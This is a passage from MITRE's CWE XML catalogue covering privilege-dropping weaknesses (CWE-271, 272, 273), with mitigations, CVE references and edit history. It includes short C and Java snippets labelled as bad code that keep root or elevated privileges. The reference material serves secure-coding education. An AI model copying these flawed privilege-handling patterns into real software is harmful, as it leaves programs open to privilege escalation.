				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="271" Name="Privilege Dropping / Lowering Errors" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not drop privileges before passing control of
					a resource to an actor that does not have those
					privileges.</Description_Summary>
				        <Extended_Description>
					          <Text>In some contexts, a system executing with elevated permissions will hand
						off a process/file/etc. to another process or user. If the privileges of an
						entity are not reduced, then elevated privileges are spread throughout a
						system and possibly to an attacker.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>269</Relationship_Target_ID>
					          <!--Improper Privilege Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>265</Relationship_Target_ID>
					          <!--Privilege / Sandbox Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>901</Relationship_Target_ID>
					          <!--SFP Cluster: Privilege-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>CWE-271, CWE-272, and CWE-250 are all closely related and possibly
						overlapping. CWE-271 is probably better suited as a category.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If privileges are not dropped, neither are access rights of the user.
							Often these rights can be prevented from being dropped.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If privileges are not dropped, in some cases the system may record
							actions as the user which is being impersonated rather than the
							impersonator.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-49">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Consider following the principle of separation of privilege. Require
							multiple conditions to be met before permitting access to a system
							resource.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-98">
					          <Intro_Text>The following code calls chroot() to restrict the application to a
						subset of the filesystem below APP_HOME in order to prevent an attacker from
						using the program to gain unauthorized access to files located elsewhere.
						The code then opens a file specified by the user and processes the contents
						of the file.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>chroot(APP_HOME);</Code>
							              <Code>chdir("/");</Code>
							              <Code>FILE* data = fopen(argv[1], "r+");</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Constraining the process inside the application's home directory
							before opening any files is a valuable security measure. However, the
							absence of a call to setuid() with some non-zero value means the
							application is continuing to operate with unnecessary root privileges.
							Any successful exploit carried out by an attacker against the
							application can now result in a privilege escalation attack because any
							malicious operations will be performed with the privileges of the
							superuser. If the application drops to the privilege level of a non-root
							user, the potential for damage is substantially reduced.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1213</Observed_Example_Reference>
					          <Observed_Example_Description>Program does not drop privileges after acquiring
						the raw socket.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0559</Observed_Example_Reference>
					          <Observed_Example_Description>Setuid program does not drop privileges after a
						parsing error occurs, then calls another program to handle the
						error.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0787</Observed_Example_Reference>
					          <Observed_Example_Description>Does not drop privileges in related groups when
						lowering privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0080</Observed_Example_Reference>
					          <Observed_Example_Description>Does not drop privileges in related groups when
						lowering privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1029</Observed_Example_Reference>
					          <Observed_Example_Description>Does not drop privileges before determining access
						to certain files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0813</Observed_Example_Reference>
					          <Observed_Example_Description>Finger daemon does not drop privileges when
						executing programs on behalf of the user being
						fingered.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1326</Observed_Example_Reference>
					          <Observed_Example_Description>FTP server does not drop privileges if a
						connection is aborted during file transfer.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0172</Observed_Example_Reference>
					          <Observed_Example_Description>Program only uses seteuid to drop
						privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2504</Observed_Example_Reference>
					          <Observed_Example_Description>Windows program running as SYSTEM does not drop
						privileges before executing other programs (many others like this,
						especially involving the Help facility).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0213</Observed_Example_Reference>
					          <Observed_Example_Description>Utility Manager launches winhlp32.exe while
						running with raised privileges, which allows local users to gain system
						privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0806</Observed_Example_Reference>
					          <Observed_Example_Description>Setuid program does not drop privileges before
						executing program specified in an environment
						variable.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0828</Observed_Example_Reference>
					          <Observed_Example_Description>Setuid program does not drop privileges before
						processing file specified on command line.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2070</Observed_Example_Reference>
					          <Observed_Example_Description>Service on Windows does not drop privileges before
						using "view file" option, allowing code
						execution.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 16: Executing Code With Too Much Privilege." Page
						243</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "Dropping Privileges Permanently", Page
						479.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Privilege Dropping / Lowering Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description,
						Maintenance_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="272" Name="Least Privilege Violation" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The elevated privilege level required to perform operations
					such as chroot() should be dropped immediately after the operation is
					performed.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>271</Relationship_Target_ID>
					          <!--Privilege Dropping / Lowering Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>748</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 50 - POSIX (POS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>859</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 14 - Platform Security (SEC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>901</Relationship_Target_ID>
					          <!--SFP Cluster: Privilege-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>CWE-271, CWE-272, and CWE-250 are all closely related and possibly
						overlapping. CWE-271 is probably better suited as a category.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Other_Notes>
				        <Note>
					          <Text>If system privileges are not dropped when it is reasonable to do so, this
						is not a vulnerability by itself. According to the principle of least
						privilege, access should be allowed only when it is absolutely necessary to
						the function of a given system, and only for the minimal necessary amount of
						time. Any further allowance of privilege widens the window of time during
						which a successful exploitation of the system will provide an attacker with
						that same privilege. If at all possible, limit the allowance of system
						privilege to small, simple sections of code that may be called
						atomically.</Text>
					          <Text>When a program calls a privileged function, such as chroot(), it must
						first acquire root privilege. As soon as the privileged operation has
						completed, the program should drop root privilege and return to the
						privilege level of the invoking user.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to access resources with the elevated
							privilege that he should not have been able to access. This is
							particularly likely in conjunction with another flaw -- e.g., a buffer
							overflow.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-48">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Follow the principle of least privilege when assigning access rights
							to entities in a software system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-97">
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>setuid(0);</Code>
							              <Comment>// Do some important stuff</Comment>
							              <Code>setuid(old_uid);</Code>
							              <Comment>// Do some non privileged stuff.</Comment>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>method() {</Code>
							              <Block>
								                <Code>AccessController.doPrivileged(new PrivilegedAction()) {</Code>
								                <Block>
									                  <Code>public Object run() {</Code>
									                  <Block>
										                    <Comment>// Insert all code here</Comment>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>};</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-98">
					          <Intro_Text>The following code calls chroot() to restrict the application to a
						subset of the filesystem below APP_HOME in order to prevent an attacker from
						using the program to gain unauthorized access to files located elsewhere.
						The code then opens a file specified by the user and processes the contents
						of the file.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>chroot(APP_HOME);</Code>
							              <Code>chdir("/");</Code>
							              <Code>FILE* data = fopen(argv[1], "r+");</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>Constraining the process inside the application's home directory
							before opening any files is a valuable security measure. However, the
							absence of a call to setuid() with some non-zero value means the
							application is continuing to operate with unnecessary root privileges.
							Any successful exploit carried out by an attacker against the
							application can now result in a privilege escalation attack because any
							malicious operations will be performed with the privileges of the
							superuser. If the application drops to the privilege level of a non-root
							user, the potential for damage is substantially reduced.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Least Privilege Violation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to drop privileges when reasonable</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Follow the principle of least privilege</Mapped_Node_Name>
					          <Mapped_Node_ID>POS02-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not allow privileged blocks to leak sensitive information
						across a trust boundary</Mapped_Node_Name>
					          <Mapped_Node_ID>SEC00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not allow tainted variables in privileged
						blocks</Mapped_Node_Name>
					          <Mapped_Node_ID>SEC01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>17</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>35</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>76</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="273" Name="Improper Check for Dropped Privileges" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software attempts to drop privileges but does not check or
					incorrectly checks to see if the drop succeeded.</Description_Summary>
				        <Extended_Description>
					          <Text>If the drop fails, the software will continue to run with the raised
						privileges, which might provide additional access to unprivileged
						users.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>754</Relationship_Target_ID>
					          <!--Improper Check for Unusual or Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>271</Relationship_Target_ID>
					          <!--Privilege Dropping / Lowering Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>252</Relationship_Target_ID>
					          <!--Unchecked Return Value-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>748</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 50 - POSIX (POS)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>In Microsoft Operating environments that have access control,
						impersonation is used so that access checks can be performed on a client
						identity by a server with higher privileges. By impersonating the client,
						the server is restricted to client-level security -- although in different
						threads it may have much higher privileges. Code which relies on this for
						security must ensure that the impersonation succeeded-- i.e., that a proper
						privilege demotion happened.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
